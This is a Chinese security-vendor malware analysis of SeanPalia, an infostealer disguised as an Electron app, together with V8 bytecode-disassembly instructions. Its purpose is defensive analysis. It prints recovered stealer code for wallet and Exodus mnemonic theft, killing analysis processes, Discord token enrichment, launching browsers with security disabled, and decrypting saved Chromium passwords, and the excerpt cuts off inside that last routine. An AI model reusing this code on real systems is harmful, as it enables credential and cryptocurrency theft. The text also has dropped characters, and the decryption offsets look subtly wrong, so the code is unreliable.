作为深耕终端安全领域的技术型企业，北京火绒网络科技有限公司（以下简称“火绒安全”）始终坚持核心技术自主可控，先后斩获"基于深度学习的恶意样本自动分析方法及系统" 与"一种基于PE虚拟沙盒实现.NET虚拟沙盒的方法"两项国家发明专利。

"基于深度学习的恶意样本自动分析方法及系统" ，针对恶意样本变种快、隐蔽性强、传统分析准确率不足的技术痛点，构建了全流程自动化智能分析体系。该技术通过构建网络流量关联图并引入时间衰减因子，结合协议感知注意力机制与多尺度统计特征提取，最终输出综合恶意分数判定样本属性。落地后将显著提升复杂网络环境下新型、变种恶意样本的识别精度与分析效率，缩短威胁响应周期。

"一种基于PE虚拟沙盒实现.NET虚拟沙盒的方法" ，聚焦.NET程序动态分析的核心安全问题。该技术创新性地基于成熟的PE虚拟沙盒构建.NET专用运行环境，既保障.NET程序完整执行以暴露真实行为，又从底层阻断恶意程序逃逸路径，避免威胁真实系统。

Electron是一种基于Chromium与Node.js的跨平台桌面应用框架，凭借开发成本低、生态完善以及可直接调用系统能力等特点，被大量桌面软件采用。但与此同时，Electron应用通常会携带完整的Node.js运行环境，并通过ASAR、JavaScript、V8字节码或原生模块加载业务代码，这也使其逐渐成为攻击者投毒和隐藏恶意逻辑的载体。

SeanPalia正是这类风险的典型样本。该程序表面上伪装为正常Electron应用，实际在启动后通过入口脚本加载恶意V8字节码载荷，并进一步执行浏览器数据窃取、Discord信息窃取、加密货币钱包扫描、受保护数据解密、数据打包以及多通道上传等恶意行为。综合其执行链路与业务目标判断，该样本属于Electron形态的信息窃取木马。

流程图

初始化时期目的：样本在启动阶段会准备Electron与Node.js执行环境，并通过入口脚本加载核心payload，从而让后续恶意模块能够在受害者系统中执行。 

Electron 基础结构：Electron由Chromium与Node.js组成，开发者可以使HTML、CSS  JavaScript构建跨平台桌面程序。一个基础Electron应用通常包含package.json、main.js和页面文件，并由Electron可执行文件负责启动 。

Electron 的优势主要包括：

• 兼容性较好：应用绑定指定版本Chromium，开发者无需额外处理大量浏览器兼容问题；

• Node.js能力完整：前端页面或主进程可调用文件系统、进程、网络、系统信息等 Node.js API；

• 网络访问灵活：可直接使用Node.js网络模块npm依赖发起请求；

• 扩展能力强：可通过npm模块或原生扩展调用更多系统能力。

Electron投毒原理：Electron应用通常会将业务代码打包到resources目录下的ASAR文件中。攻击者可通过解包ASAR后篡改源码或依赖、替换入口脚本、植入加载器，或者利用调试模式注入恶意代码，从而实现命令执行、持久化、数据窃取或后门控制。Electron程序带有可信数字签名，若投毒过程未改动外层主程序可执行文件，签名状态不受破坏，则极易降低用户安全警惕。

Electron主程序

resources下的ASAR文件图

解包后得到main.js、配置文件和被引用模块图

分析main.js后发现，其主要作用并非正常业务逻辑，而是作为payload加载器继续引入后续恶意代码：

payload是由9Bgr5Cugh6G3UuU1.enc aes解密后得到的V8 Bytecode文件

9Bgr5Cugh6G3UuU1.enc

V8 Bytecode jsc

V8是什么？

V8是由Google开发的高性能JavaScript引擎，最初用于Chrome浏览器，现在也被Node.js使用。

它的主要职责是把JavaScript源码执行成机器能理解的指令，让浏览器或服务器快速运JS代码： 

Bytecode执行：源码可以被编译为V8 bytecode，别人拿到文件后难以直接看懂或运行。

怎么反编译？

先把V8序列化出来的字节码结构、常量池BytecodeArray打印出来，再据此做进一步反混淆和语义恢复。对SeanPalia这类Electron/Node样本，这一步的价值主要有四点：

• 确认样本使用的V8版本，保证后续字节码解析口径一致；

• 直接拿到SharedFunctionInfo、常量池、对象模板等运行时结构；

• 绕过bytenode/JSC只给缓存字节码、不带原始源码的问题；

• 可以配合[原创]V8 Bytecode反汇 反编译不完全指南-逆向工程-看雪安全社区｜专业技术交流与安全研究论坛配合阅读。（点击文章底部参考链接）

对这类 .jsc文件，最稳的做法通常是： 

1、确认Electron/Node/V8版本；

2、拉取对应版本的V8源码；

3、在V8内部打印SharedFunctionInfo、BytecodeArray、FixedArray等结构；

4、编译一个最小的字节码加载器，把目标 .jsc 当作CachedData喂给V8；

5、收集反汇编输出，再进入后续脚本化清洗、重命名和业务还原；

这一步更准确地说是“反汇编+结构化打印”，而不是传统意义上的完整反编译。

先安装最基本的构建依赖： 

apt-get install ninja-build clang pkg-config     

安装depot_tools：

mkdir ~/v8tools
cd ~/v8tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/v8tools/depot_tools:$PATH

拉取V8源码：

mkdir ~/v8
cd ~/v8
fetch v8
cd v8

切换到与目标字节码匹配的版本。本文样本分析时使用的是：

git checkout refs/tags/10.4.132.24
gclient sync -D

这里版本必须尽量对齐目标Electron/Node所携带V8。版本不匹配时，即使能绕过部分校验，输出结构也很容易错位。

V8内部本来就具备Disassemble()、对象打印和 SharedFunctionInfoPrint() 能力，但默认这些能力主要服务于调试构建和源码调试。为了让它直接消费 .jsc并吐出结构，我们需要做几处定点修改：

1、放宽反序列化检查并打印SharedFunctionInfo

修改src/snapshot/code-serializer.cc： 

• CodeSerializer::Deserialize成功拿到结果后打印SharedFunctionInfo；

• SerializedCodeData::SanityCheck()中临时直接返回成功，绕过一部分缓存校验。

插入的核心打印逻辑如下：

std::cout << "\nStart SharedFunctionInfo\n";    
    result->SharedFunctionInfoPrint(std::cout);    
    std::cout << "\nEnd SharedFunctionInfo\n";    
    std::cout << std::flush;

这里Start SharedFunctionInfo/End SharedFunctionInfo最好保持稳定，方便后续脚本按标记切分输出。

2、打印BytecodeArray

修改src/diagnostics/objects-printer.cc，在 SharedFunctionInfo::SharedFunctionInfoPrint(std::ostream& os) 中：

• 注释PrintSourceCode(os)；

• 在合适位置补上BytecodeArray打印。

核心逻辑如下：

os << "\nStart BytecodeArray\n";    
    this->GetActiveBytecodeArray().Disassemble(os);    
    os << "\nEnd BytecodeArray\n";    
    os << std::flush;

这样输出里就不只是函数壳，还能直接拿Ignition字节码指令流。

3、打印常量池和对象模板

修改src/objects/objects.cc，重点是HeapObject::HeapObjectShortPrint里几个常见结构分支：

• FIXED_ARRAY_TYPE

• FIXED_DOUBLE_ARRAY_TYPE

• OBJECT_BOILERPLATE_DESCRIPTION_TYPE

• SHARED_FUNCTION_INFO_TYPE

可以给这些分支加上带分隔符的打印，例如：

os << "\nStart FixedArray\n";    
    FixedArray::cast(*this).FixedArrayPrint(os);    
    os << "\nEnd FixedArray\n";

以及

通过该方式开展后续逆向分析时，就能把常量池、对象字面量模板和函数元数据一起还原出来，而不是只看到一串指令。

4、避免字符串打印被截断

修改src/objects/string.cc  String::StringShortPrint，把过长字符串的截断逻辑临时关掉。否则很多URL、混淆字符串表、脚本片段只会显示前半截，后面还需额外回补。

5、需要时放宽magic number校验

如果样本字节码和本地V8版本只接近、不完全一致，可以进一步修src/snapshot/deserializer.cc中的magic number检查。常见做法是临时去掉：

CHECK_EQ(magic_number_, SerializedData::kMagicNumber);

改完V8后，还需要一个极小的加载器把目标 .jsc输入到 ScriptCompiler::CachedData。示例：

#include <fstream>
#include <iostream>
#include <vector>
#include "libplatform/libplatform.h"
#include "v8.h"
using namespace v8;
static Isolate* isolate = nullptr;
static void loadBytecode(uint8_t* bytecodeBuffer, int length) {
  ScriptCompiler::CachedData* cachedData =
      new ScriptCompiler::CachedData(bytecodeBuffer, length);
  ScriptOrigin origin(isolate, String::NewFromUtf8Literal(isolate, "code.jsc"));
  ScriptCompiler::Source source(
      String::NewFromUtf8Literal(isolate, "\"dummy\""),
      origin,
      cachedData);
  ScriptCompiler::CompileUnboundScript(
      isolate,
      &source,
      ScriptCompiler::kConsumeCodeCache);
}
static void readAllBytes(const std::string& path, std::vector<char>& buffer) {
  std::ifstream input(path, std::ios::binary);
  input.seekg(0, input.end);
  size_t length = input.tellg();
  input.seekg(0, input.beg);
  if (length > 0) {
    buffer.resize(length);
    input.read(buffer.data(), length);
  }
}
int main(int argc, char* argv[]) {
  V8::SetFlagsFromString("--no-lazy --no-flush-bytecode");
  V8::InitializeICU();
  std::unique_ptr<Platform> platform = platform::NewDefaultPlatform();
  V8::InitializePlatform(platform.get());
  V8::Initialize();
  Isolate::CreateParams createParams;
  createParams.array_buffer_allocator =ArrayBuffer::Allocator::NewDefaultAllocator();
  isolate = Isolate::New(createParams);
  Isolate::Scope isolateScope(isolate);
  HandleScope handleScope(isolate);
  std::vector<char> data;
  readAllBytes(argv[1], data);
  loadBytecode(reinterpret_cast<uint8_t*>(data.data()), static_cast<int>(data.size()));
}

这段程序本身不负责“反混淆”，仅负责将.jsc文件安全传入经篡改的V8引擎，并触发前面加进去的结构化打印。

先生成构建目录：

然后编辑out.gn/x64.release/args.gn，常用参数如下：

dcheck_always_on = false    
    is_component_build = false    
    is_debug = false    
    target_cpu = "x64"    
    use_custom_libcxx = false    
    v8_monolithic = true    
    v8_use_external_startup_data = false    
    v8_static_library = true    
    v8_enable_disassembler = true    
    v8_enable_object_print = true

如果目标Node/Electron携带的V8，必要时还要根据版本处理压缩指针或沙箱相关配置。例如某些环境下需要：

v8_enable_pointer_compression = false

再编译：

ninja -C out.gn/x64.release v8_monolith

最后把前面的最小加载器链接到编译产物上，执行方式就是：

./v8dasm target.jsc > disasm.txt

完成后，通常可以得到这些材料：

• SharedFunctionInfo

• BytecodeArray

• FixedArray常量池

• ObjectBoilerplateDescription

• 长字符串、URL、对象模板、函数引用关系

再通过v8View对前面导出的disasm.txt做后处理，就能得到对应的 .js文件。使用方式只需要理解成三步：

1、先用修改后的V8导出disasm.txt

2、再把disasm.txt交给v8View

3、v8View输出可继续分析的 .js文件

decrypted_payload.jsc反编译后是一个装载层，它装载BAVSItA这一大段混淆的js代码业务模块。

从当前分析结果看，decrypted_payload.jsc本身更像恢复器/装载层，它的作用不是直接承载完整恶意业务，而是把真正的主逻辑body恢复出来，再通过new Function("BAVSItA", "deps", body)动态构造入口函数。这里的BAVSItA才是当前分析到的那份大块混淆主文件，也是后续所有浏览器、Discord、钱包、上传和payload2逻辑真正挂载的地方。

代码：

// 非可执行伪代码：只用于说 decrypted_payload.jsc 的装载关系    
    (function bootstrapRecoveredJsc() {    
      const BAVSItA = { /* 当前混淆主文件在运行时对应的配置/上下文对象 */ };    
      const deps = { /* fs / path / crypto / dpapi / http / child_process 等依赖 */ };    
      // jsc 里恢复出来的是一整块 body 文本    
      const body = "/* recovered body text */";    
      // decrypted_payload.jsc 自己不直接展开主业务，    
      // 而是只负责把恢复出的 body 交给 new Function 组出入口    
      const recoveredEntry = new Function("BAVSItA", "deps", body);    
      // 真正进入主逻辑的是 BAVSItA，而不是 decrypted_payload.jsc 自己    
      return recoveredEntry(BAVSItA, deps);    
    })();

这里需要特别区分两层：

● decrypted_payload.jsc

    ○ 负责恢复body

    ○ 负责调用new Function("BAVSItA", "deps", body)

    ○ 负责把依赖注入进去

● BAVSItA

    ○ 才是当前那份真正承载主业务逻辑的混淆文件

    ○ 内部再继续展开反分析、目标发现、浏览器数据采集、钱包采集、Discord富化、payload2下载装载、归档上传与C2回传

因此，对SeanPalia来说，decrypted_payload.jsc更准确的定位不是“完整恶意逻辑本体”，而是恶意主逻辑的恢复与装载入口；真正需要持续反混淆和语义分析的核心对象，是传入new Function(...)  BAVSItA主体。

前置说明：反混淆对应文件

导出BAVSItA得到业务混淆文件

导出BAVSItA得到业务混淆文件

文件内容图

后面的业务代码都是反混淆后的再进行修饰的代码，这里以钱包总入口为例：

反混淆过的原始代码：

async function collectBrowserWalletTokenBundle(...e67guKE){
var xIlSGc={
Psj1cL(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
Mo7Wwi(...e67guKE){return _SHQR5(...e67guKE)},
eA6n_l6(...e67guKE){return PX8GL2B(...e67guKE)},
PemkRM(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
  };

这个xIlSGc可以先理解成一个局部“结构体/转发对象”。把浏览器登录数据、桌面钱包、浏览器钱包扩展、token文件这几类子流程统一挂载后，再传给下游函数处理。

字段对应关系：

● Psj1cL

    ○ 类型：局部转发方法名

    ○ 实际调用：collectChromiumLoginDataByTarget(...)

    ○ 最终业务名：collectChromiumLoginDataByTarget

● Mo7Wwi

    ○ 类型：局部转发方法名

    ○ 实际调用：_SHQR5(...)

    ○ 说明：_SHQR5 这一支处理的是桌面钱包目标路径

    ○ 最终业务名：collectDesktopWalletArtifacts

● eA6n_l6

    ○ 类型：局部转发方法名

    ○ 实际调用：PX8GL2B(...)

    ○ 说明：PX8GL2B这一支处理的是浏览器钱包扩展目标路径

    ○ 最终业务名：collectBrowserExtensionWalletArtifacts

● PemkRM

    ○ 类型：局部转发方法名

    ○ 实际调用：collectDiscoveredDiscordTokenFiles(...)

    ○ 最终业务名：collectDiscoveredDiscordTokenFiles

前者只是当前局部对象里的槽位名，后者才是真正被调用的下游函数。后面的语义名，则是根据这些下游函数实际处理的目标对象总结出来的。

整条推导链可以按下面这条顺序理解：

1、先从外层wrapper看调用关系
Mo7Wwi -> _SHQR5
eA6n_l6 -> PX8GL2B

2、再看这两个真实下游函数分别处理什么目标集合
_SHQR5 处理桌面钱包目标路径
PX8GL2B 处理浏览器钱包扩展目标路径

3、最后按它们实际处理的对象，给出业务语义名
_SHQR5 -> collectDesktopWalletArtifacts
PX8GL2B -> collectBrowserExtensionWalletArtifacts

4、再把局部转发名替换成可读函数名，得到整理后的版本 

async function collectBrowserWalletTokenBundle(...e67guKE){          var xIlSGc={           collectChromiumLoginDataByTarget(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},            collectDesktopWalletArtifacts(...e67guKE){return collectDesktopWalletArtifacts(...e67guKE)},            collectBrowserExtensionWalletArtifacts(...e67guKE){return collectBrowserExtensionWalletArtifacts(...e67guKE)},            collectDiscoveredDiscordTokenFiles(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}          };    return _hBIlH(e67guKE, xIlSGc);        }

这一部分在代码内部主要做三件事：先枚举硬编码的钱包路径和浏览器扩展路径，再把命中的目录、配置文件和相关资产复制进归档区，最后对少数高价值钱包继续做更深一层的数据恢复。像Exodus这类目标，代码不只是判断目录是否存在，还会继续读seed.seco、passphrase.json一类文件，并调用助记词/密码恢复逻辑，尽量把“目录存在”提升成“可直接利用的钱包材料”。

1.1 钱包总入口

功能解析：

1、统一协调多类高价值资产来源 

2、不只拿钱包目录，也顺带纳入浏览器凭据token文件：

3、是“钱包与资产归档”主入口

运行结果：

● 形成桌面钱包、浏览器钱包扩展、凭据与token文件的统一资产归档

动态参数：

● 入口动态依赖：

    ○ 浏览器登录数据归档结 

    ○ 桌面钱包目录

    ○ 浏览器钱包扩展目 

    ○ 已发token文件

参数：

● collectChromiumLoginDataByTarget

    ○ 浏览器登录数据采集入

● collectDesktopWalletArtifacts

    ○ 桌面钱包目录采集

● collectBrowserExtensionWalletArtifacts

    ○ 浏览器钱包扩展采

● collectDiscoveredDiscordTokenFiles

    ○ token文件补充采集

代码：

/**
 * 组合浏览器登录数据、桌面钱包、浏览器钱包扩展、token 文件四类来源 
 */
// 浏览器凭据与钱包资产会被统一合并进一条高价值资产收集链
async function collectBrowserWalletTokenBundle(...e67guKE){
  var xIlSGc={
    collectChromiumLoginDataByTarget(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
    collectDesktopWalletArtifacts(...e67guKE){return collectDesktopWalletArtifacts(...e67guKE)},
    collectBrowserExtensionWalletArtifacts(...e67guKE){return collectBrowserExtensionWalletArtifacts(...e67guKE)},
    collectDiscoveredDiscordTokenFiles(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
  };
  return _hBIlH(e67guKE, xIlSGc);
}

1.2 Exodus助记词/密码恢复

功能解析：

1、检查Exodus是否存在 

2、不只复制目录，还尝试深入恢复mnemonic和password 

3、恢复成功后再组装成上报内容

运行结果：

• 可能得到mnemonic

• 可能得到password

• 也可能无结果返回

读取目标/请求目标：

C:\Users\Administrator\AppData\Roaming\exodus\exodus.wallet\seed.secopassphrase.json

动态参数：

● 关键动态依赖：

    ○ seco-file

    ○ bitcoin-seed

    ○ bip39

参数：

● readPassphraseJson

    ○ 读取钱包相关配置

● collectPasswordIfNeeded

    ○ 必要时收集口

● decodeMnemonic

    ○ 尝试恢复助记

代码：

/**    
     * 检 Exodus 钱包并尝试恢 mnemonic / password     
     */    
    async function extractExodusMnemonicAndPassword(deps) {    
      try {    
        // 读取 Exodus  passphrase 配置或相关钱包元信息    
        const passphraseInfo = await deps.readPassphraseJson();    
        // 某些情况下需要先拿到用户口令，才能继续解密内部内     
        const password = await deps.collectPasswordIfNeeded();    
        // 尝试把钱包内部数据还原成助记     
        const mnemonic = await deps.decodeMnemonic(passphraseInfo, password);    
        if (!mnemonic && !password) return null;    
        return { mnemonic: mnemonic ?? undefined, password: password ?? undefined };    
      } catch {    
        return null;    
      }    
    }

这一部分在代码内部会先准备一长串目标进程名，然后循环调用taskkill/IM "<name>" /F/T去结束抓包、调试、逆向、监控和部分浏览邮件客户端进程。实现上它不会因为单个结束失败就停下，而是继续处理下一个目标，并在每轮之间插入短延时。这样做一方面是为了降低被分析到的概率，另一方面也是为了释放浏览器数据库、配置文件和会话文件的占用锁。

2.1 结束目标进程

功能解析：

1、构造一大批目标进程名列表 

2、对每个进程执taskkill /IM "<name>" /F /T 

3、即使单个结束失败，也不会中断整体流程 

4、每轮之间加入短延时，避免系统调用过密

运行结果：

• 强制关闭浏览器、邮件客户端及部分分析相关程序 

• 释放数据库和配置文件锁：

读取目标 / 请求目标：

动态参数：

● 关键命令 

    ○ taskkill /IM "<processName>" /F /T

● 关键运行条件 

    ○ processName

    ○ throttleMs

参数：

● processNames

    ○ 一大批目标进程名数组

● execCommand

    ○ 实际执行taskkill的命令调用函数

● delay

    ○ 每次结束进程后的节流等待函数

● throttleMs

    ○ 节流等待时间

代码：

/**    
     * 对一大批目标进程执行 taskkill /F /T     
     */    
    async function terminateTargetProcesses(deps) {    
      for (const processName of deps.processNames) {    
        try {    
          // 对每个目标进程执行强制结     
          await deps.execCommand(`taskkill /IM "${processName}" /F /T`);    
        } catch {    
          // 单个失败不影响整体清     
        }    
        // 每轮之后稍作等待，避免系统调用过于密     
        await deps.delay(deps.throttleMs);    
      }    
    }

这一部分在代码内部先做目标枚举，再做token提取，最后做账号富化。它会按硬编码路径检Discord安装目录、浏览器profile、Local State  Local Storage\\leveldb，把存在的目标组织成后续采集列表；随后在 .ldb/.log文本里匹配普通的Discord用户认证token  dQw4w9WgXcQ前缀密文 token，并在需要时结合Local State恢复出的密钥做解密。拿token后，代码还会继续调Discord API拉用户资料、支付方式、礼品码、好友和guild信息，把原始token变成更有价值的账号画像。

3.1 发现token

功能解析：

1、遍历Discord/浏览器本地存LevelDB 

2、正则匹配经典token、MFA token、宽匹配token 

3、若命中新格式密文token，再结合Local State key解密 

4、去重后汇总为token集

运行结果：

● 产出后续所Discord API利用所需token

读取目标/请求目标：

<Discord or Browser>\Local Storage\leveldb\*.ldb    
<Discord or Browser>\Local Storage\leveldb\*.log    
<Discord>\Local State

动态参数：

● 已确Discord客户端路径：

    ○ C:\Users\Administrator\AppData\Roaming\discord

    ○ C:\Users\Administrator\AppData\Roaming\discordcanary

    ○ C:\Users\Administrator\AppData\Roaming\discordptb

    ○ C:\Users\Administrator\AppData\Roaming\discorddevelopment

● 关键动态参数：

    ○ 普 token regex

    ○ dQw4w9WgXcQ 前缀密文 token

    ○ Local State 中恢复出的解 key

参数：

● targets

    ○ LevelDB 路径和可Local State路径

● listLevelDbFiles

    ○ 枚举 .ldb/.log

● readText

    ○ 读文件文本

● regexFindAll

    ○ 匹配token模式

● readLocalStateMasterKey

    ○ 读取解密key

● decryptDiscordToken

    ○ 解新格式token

代码：

3.2 账号富化

功能解析：

1、token  users/@me确认账号可用 

2、并发补全支付FA、礼品码、好友、guild管理权限等信息 

3、把“一 token”升级成“一个高价值账号画像”

运行结果：

● 产出可直接用于筛选高价Discord账户的情报

读取目标 / 请求目标：

GET https://discord.com/api/v9/users/@me    
GET https://discord.com/api/v9/users/@me/billing/payment-sources    
GET https://discord.com/api/v9/users/@me/outbound-promotions/codes    
GET https://discord.com/api/v9/users/@me/relationships    
GET https://discord.com/api/v9/users/@me/guilds?with_counts=true

动态参数：

● 入口动态参数：

    ○ 已发现的Discord token列表

● 关键请求头：

    ○ Authorization: <stolen token>

参数：

● tokens

    ○ 已发现的Discord token列表

● fetchCurrentUser

    ○ 拉用户基本资料

● fetchBillingSummary

    ○ 拉支付信息

● fetchMfaStatus

    ○ 2FA状态

● fetchGiftCodes

    ○ 拉促销/礼品码

● collectDiscordFriends

    ○ 拉好友列表

● fetchDiscordHighValueGuilds

    ○ 拉高价值guild

代码：

/**    
     *  token  users/@me，再并发 billing FA、礼品码、好友和高价 guild     
     */    
    async function enrichDiscordUserProfile(tokens: string[], deps) {    
      const profiles: any[] = [];    
      for (const token of tokens) {    
        // 先用 users/@me 校验 token 是否有效，并拿到基础账号资料    
        const currentUser = await deps.fetchCurrentUser(token);    
        if (!currentUser) continue;    
        // 真实实现还会并发拉支付方式 FA、礼品码、好友和高价 guild    
        profiles.push(currentUser);    
      }    
      return profiles;    
    }

这一部分在代码内部会先解码内置的浏览器可执行文件路径表，确认 Chrome、Brave、Edge、ChromeBeta等目标是否存在，然后拼出一组很长的headless启动参数去实际拉起浏览器。参数里会主动关闭扩展、同步、站点隔离、后台联网、Web安全等能力，因此这条链的目的不是正常自动化测试，而是尽量在一个受控、低安全限制的浏览器环境里执行后续辅助动作。

4.1 Chrome/Edge头模式启动链

功能解析：

1、从内置浏览器可执行文件映射表里解Chrome/Edge等目标路径 

2、检查目标浏览器是否存在 

3、组装一组带大量安全禁用参数headless启动命令 

4、将这些任务交给后helper实际拉起

运行结果：

• 形成Chrome/Edge的头模式浏览器启动任务 

• 可能用于后续会话注入、页面访问或session窃取辅助

读取目标/请求目标：

chrome.exe --headless=new --no-sandbox --disable-setuid-sandbox --disable-gpu    
      --disable-software-rasterizer --disable-webgl --disable-web-security    
      --disable-client-side-phishing-detection --disable-domain-reliability    
      --disable-site-isolation-trials --disable-sync --disable-translate    
      --disable-notifications --disable-permissions-api --disable-extensions    
      --disable-default-apps --disable-component-update    
      --disable-background-timer-throttling --disable-renderer-backgrounding    
      --disk-cache-size=1 --media-cache-size=1 --no-first-run

动态参数：

● 调用链：

    ○ qT2G09

    ○ tVcLge

    ○ launchOrSpawnDecodedBrowserExecutable

    ○ S1roXJN

● 浏览器路径来源：

    ○ browserExecutableMapBase64

● 关键运行条件 

    ○ 可执行文件存在性检 

    ○ 浏览器路 Base64 解码

● 关键启动标志 

    ○ --headless=new

    ○ --disable-web-security

    ○ --disable-extensions

    ○ --no-sandbox

参数：

● browserTarget

    ○ 浏览器目标描述对象

● decodeBrowserExecutableMapEntries

    ○ 解码内置浏览器路径映射表格

● pathExists

    ○ 检查浏览器可执行文件是否存在

● spawnBrowserTask

    ○ 实际拉起浏览器任务

代码：

/**    
     * 解码浏览器路径映射，检查可执行文件是否存在，并构 headless 启动任务     
     */    
    async function launchOrSpawnDecodedBrowserExecutable(browserTarget: { browserName: string; executableKey: string }, deps) {    
      // 从内 Base64 映射表恢复出浏览器可执行文件路径    
      const executableMap = deps.decodeBrowserExecutableMapEntries(deps.browserExecutableMapBase64);    
      const executablePath = executableMap[browserTarget.executableKey];    
      if (!executablePath) return [];    
      // 目标浏览器不存在就直接结     
      if (!(await deps.pathExists(executablePath))) return [];    
      // 组装头模式浏览器启动参数，重点是关闭一大批安全与隔离功     
      const args = [    
        "--headless=new",    
        "--no-sandbox",    
        "--disable-setuid-sandbox",    
        "--disable-gpu",    
        "--disable-software-rasterizer",    
        "--disable-webgl",    
        "--disable-web-security",    
        "--disable-client-side-phishing-detection",    
        "--disable-domain-reliability",    
        "--disable-site-isolation-trials",    
        "--disable-sync",    
        "--disable-translate",    
        "--disable-notifications",    
        "--disable-permissions-api",    
        "--disable-extensions",    
        "--disable-default-apps",    
        "--disable-component-update",    
        "--disable-background-timer-throttling",    
        "--disable-renderer-backgrounding",    
        "--disk-cache-size=1",    
        "--media-cache-size=1",    
        "--no-first-run",    
      ];    
      // 真实链路会把任务继续交给更低 helper 或直 spawn    
      return [await deps.spawnBrowserTask(executablePath, args)];    
    }

4.2 动态命中与主线作用

功能解析：

1、运行时会先从browserExecutableMapBase64中恢复出少数硬编码浏览器可执行文件路径

2、这条链当前不是“所有被扫描浏览器都启动 headless”，而是优先尝试Chrome/Brave /Edge/ChromeBeta这一小组可执行文件

3、动态证据已经证明它实际命中Edge，通过附加大量安全削弱参数拉起进程 

4、因此这条链更像浏览器侧辅助执行器，用来借本地浏览器环境完成后续页面访问、会话复用或注入型操作，而不是普通本地数据库读取逻辑

运行结果：

• 已确认主程序当前运行中能真实拉起msedge.exe

• 说明这条headless链不是纯静态死代码

读取目标/请求目标：

browserExecutableMapBase64:    
    - Chrome    
    - Brave    
    - Edge    
    - ChromeBeta    
    动态命中：    
    C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

动态参数：

● Stage14主文件内置浏览器路径表：

    ○ Chrome

    ○ Brave

    ○ Edge

    ○ ChromeBeta

● 动态存在性检查命中：

    ○ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

● 动态事件：

    ○ FS_EXISTS

    ○ SPAWN

● 已捕获启动参数除核心标志外，还包含：

    ○ --disable-webgl2

    ○ --disable-accelerated-2d-canvas

    ○ --disable-accelerated-video-decode

    ○ --mute-audio

    ○ --hide-scrollbars

    ○ --disable-background-networking

参数：

● browserExecutableMapBase64

    ○ 内置 Base64编码浏览器路径字典

● decodedExecutablePath

    ○ 解码后的浏览器可执行文件路径

● spawnArgs

    ○ 一组带headless与降安全语义的启动参数

● spawn

    ○ 实际执行浏览器启动

代码：

/**    
     * 动态日志已经证明这条链实际命中 Edge     
     * 它的意义不是直接读本地数据库，而是借浏览器本体执行浏览器侧辅助动作     
     */    
    async function runHeadlessBrowserAssistChain(deps) {    
      const executableMap = deps.decodeBrowserExecutableMapEntries(deps.browserExecutableMapBase64);    
      const edgePath = executableMap.Edge;    
      if (!edgePath) return false;    
      if (!(await deps.pathExists(edgePath))) return false;    
      await deps.spawn(edgePath, [    
        "--headless=new",    
        "--no-sandbox",    
        "--disable-web-security",    
        "--disable-extensions",    
        "--disable-background-networking",    
        "--disable-site-isolation-trials",    
      ]);    
      return true;    
    }

这一部分在代码内部会围绕各类Chromium/Gecko profile逐个检查关键文件是否存在，然后分别打开SQLite数据库或JSON文件，把不同类型的数据拆开导出。对Login Data，它会查logins表并解密password_value；对 Web Data，它会取autofill、credit_cards、local_stored_cvc；对 Cookies，它会读encrypted_value并按浏览器版本处理； History  Bookmarks，它会提取下载记录、访问痕迹和书签树。最终这些内容会被分类写入归档目录，形成浏览器侧的主体战果。

5.1 Chromium登录数据

功能解析：

1、定位每个Chromium profile下的Login Data 

2、查询origin_url / username_value / password_value 

3、使用Local State恢复key解密保存密码 

4、按浏览器维度写入Passwords/*.txt

运行结果：

● 产生浏览器保存账号密码的明文导出

读取目标/请求目标：

<Browser>\User Data\<Profile>\Login Data

动态参数：

● 目标数据库路径模式：

    ○ <Browser>\User Data\<Profile>\Login Data

● 已确认命中路径：

    ○ C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data

    ○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

● 关键动态依赖：

    ○ SQLite logins 表

    ○ Local State恢复出的masterKey

参数：

● targets

    ○ 每个浏览器/配置文件对应一项 

    ○ 含浏览器名、Login Data路径、已恢复masterKey

● queryLoginRows

    ○ 读取 SQLite logins表

● decryptChromiumSecret

    ○ 解密 password_value

● appendArtifact

    ○ 把明文结果写进归档

代码：

async function stealPasswords(_, options) {    
      try {    
        const passwordDir = `${options.baseDir}/Passwords`;    
        options.fileSystem.mkdir(passwordDir);    
        const passwordFile = `${passwordDir}/Passwords.txt`;    
        const results: string[] = [];    
        for (const browser of options.browsers) {    
          // 跳过不需要处理的浏览     
          if (["Chrome", "Brave", "Edge", "Chrome Beta", "Avast"].includes(browser.name)) {    
            continue;    
          }    
          for (const profile of browser.profiles) {    
            let db: any = null;    
            try {    
              const profilePath = options.path.join(browser.basePath, profile);    
              const loginDataPath = options.path.join(profilePath, "Login Data");    
              if (!options.fileSystem.existsSync(loginDataPath)) {    
                continue;    
              }    
              const browserName = `${browser.name} ${profile}`;    
              const masterKey = browser.masterKeys?.[profile];    
              if (!masterKey) {    
                continue;    
              }    
              // 打开SQLite数据     
              db = new options.database(loginDataPath, {    
                readonly: true,    
                fileMustExist: true    
              });    
              db.pragma("query_only = ON");    
              db.pragma("temp_store = MEMORY");    
              // 查询所有登录信     
              const logins = db.prepare(`    
                SELECT origin_url, username_value, password_value, date_created    
                FROM logins    
              `).all();    
              for (const login of logins) {    
                try {    
                  if (!login.password_value || !login.password_value.length) {    
                    continue;    
                  }    
                  const encryptedData = login.password_value;    
                  const version = encryptedData.toString("utf8", 3, 29);    
                  if (["v10", "v11"].includes(version)) {    
                    const nonce = encryptedData.slice(29, 127);    
                    const ciphertext = encryptedData.slice(127, encryptedData.length - 197);    
                    const authTag = encryptedData.slice(encryptedData.length - 197);    
                    // 解密密码    
                    const decipher = options.crypto.createDecipheriv("aes-256-gcm", masterKey, nonce);    
                    decipher.setAuthTag(authTag);    
                    const password = Buffer.concat([    
                      decipher.update(ciphertext),    
                      decipher.final()    
                    ]).toString("utf8");    
                    const dateCreated = login.date_created;    
                    let formattedDate = "Unknown";    
                    if (typeof dateCreated === "number" && !isNaN(dateCreated)) {    
                      const microseconds = dateCreated / 1000000;    
                      const epoch1601 = new Date("1601-01-01T00:00:00Z").getTime();    
                      const timestamp = epoch1601 + microseconds;    
                      formattedDate = new Date(timestamp).toLocaleString();    
                    }    
                    // 格式化输     
                    results.push(    
